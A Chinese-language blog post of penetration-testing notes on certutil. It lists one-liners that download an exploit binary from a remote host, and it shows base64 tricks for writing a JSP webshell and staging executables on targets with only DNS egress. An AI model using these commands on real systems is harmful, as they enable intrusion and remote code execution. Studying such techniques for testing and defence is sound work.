前言
在先知看到一篇關(guān)于certutil命令的文章(關(guān)于certutil的探究),講得很詳細、很全面。特此記錄下本人在滲透時使用certutil的一些方法。
在cmd下使用certutil下載遠程文件
命令:
certutil.exe -urlcache -split -f http://192.168.1.1:1234/ms10-051.exe exploit.exe
各參數(shù)介紹:
-
-urlcache顯示或刪除URL緩存條目;無值的命令行選項。 -
-split保存到文件;無值的命令行選項。存在該選項的命令,就會將文件下載到當(dāng)前路徑,如果沒有該選項,就下載到默認路徑(本地嘗試后,下載的默認路徑為C:\Users\用戶名)。 -
-f有值的命令行選項。后面跟要下載的文件 url。
附各條件下的命令行下載文件命令:
PowerShell - IWR:
powershell.exe -Command "Invoke-WebRequest -Uri http://192.168.1.1:1234/ms10-051.exe -OutFile exploit.exe"
PowerShell - IEX:
powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile('http://192.168.1.1:1234/ms10-051.exe', exploit.exe)"
CMD - Certutil:
certutil.exe -urlcache -split -f http://192.168.1.1:1234/ms10-051.exe exploit.exe
CMD - SMB:
copy \\192.168.1.1\files\ms10-051.exe exploit.exe
Linux - wget:
wget http://192.168.1.1:1234/ms10-051.exe -O exploit.exe
Linux - curl:
curl http://192.168.1.1:1234/ms10-051.exe -o exploit.exe
通過certutil以base64編碼方式寫入webshell文件
場景:命令執(zhí)行情況下,寫入webshell的文本文件。
webshell內(nèi)容中含有較多特殊字符,如果直接echo xxx > shell.jsp,其中的特殊字符會影響該命令的執(zhí)行,而base64編碼后的文本可以直接寫入文本,無特殊字符影響。
- 文本內(nèi)容:
<%@page import="java.util.*, - base64編碼后為:
PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLA== - 寫入文件:
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLA== > C:\tmp\shell.txt - 解碼成webshell文件:
certutil -f -decode "C:\tmp\shell.txt" "C:\tmp\shell.jsp"
通過certutil對二進制文件進行base64編碼
certutil可以將二進制文件(exe文件等)編碼成txt文件
certutil -encode 1615808966890.exe 1615808966890.txt

txt文件內(nèi)容如下,純文本文件:

將txt文件解碼為二進制文件:
certutil -decode 1615808966890.txt 66666.exe

那這適用于什么場景?
假如存在一個命令執(zhí)行的條件,寫入webshell文件存在問題,目標(biāo)只有dns出網(wǎng)而無法下載遠程文件。那么此時我們就可以將base64編碼的文本文件寫入目標(biāo),再解碼成二進制文件執(zhí)行上線。
適用echo寫文件時,會在每行末尾追加一個空格,但是我之前的一次經(jīng)歷,發(fā)現(xiàn)文件可以正常decode。
cmd /c echo a >> D:\2.txt
cmd /c echo ab >> D:\2.txt
cmd /c echo abc >> D:\2.txt

這篇文章講解使用powershell的方式追加寫入文件,也是一種好的方法。
powershell -c "'a' | Out-File D:\1.txt -Append"
powershell -c "'ab' | Out-File D:\1.txt -Append"
powershell -c "'abc' | Out-File D:\1.txt -Append"
將完整的txt文件一行一行寫入文件,可以寫個腳本,或者使用burp。
通過certutil計算文件hash
certutil -hashfile mimikatz.exe MD5 //檢驗MD5
certutil -hashfile mimikatz.exe SHA1 //檢驗SHA1
certutil -hashfile mimikatz.exe SHA256 //檢驗SHA256
certutil配合powershell內(nèi)存加載
沒有嘗試過,這里mark下這種姿勢??傮w就是通過certutil解碼文件進行powershell上線。
來源為第一篇參考文章的內(nèi)容。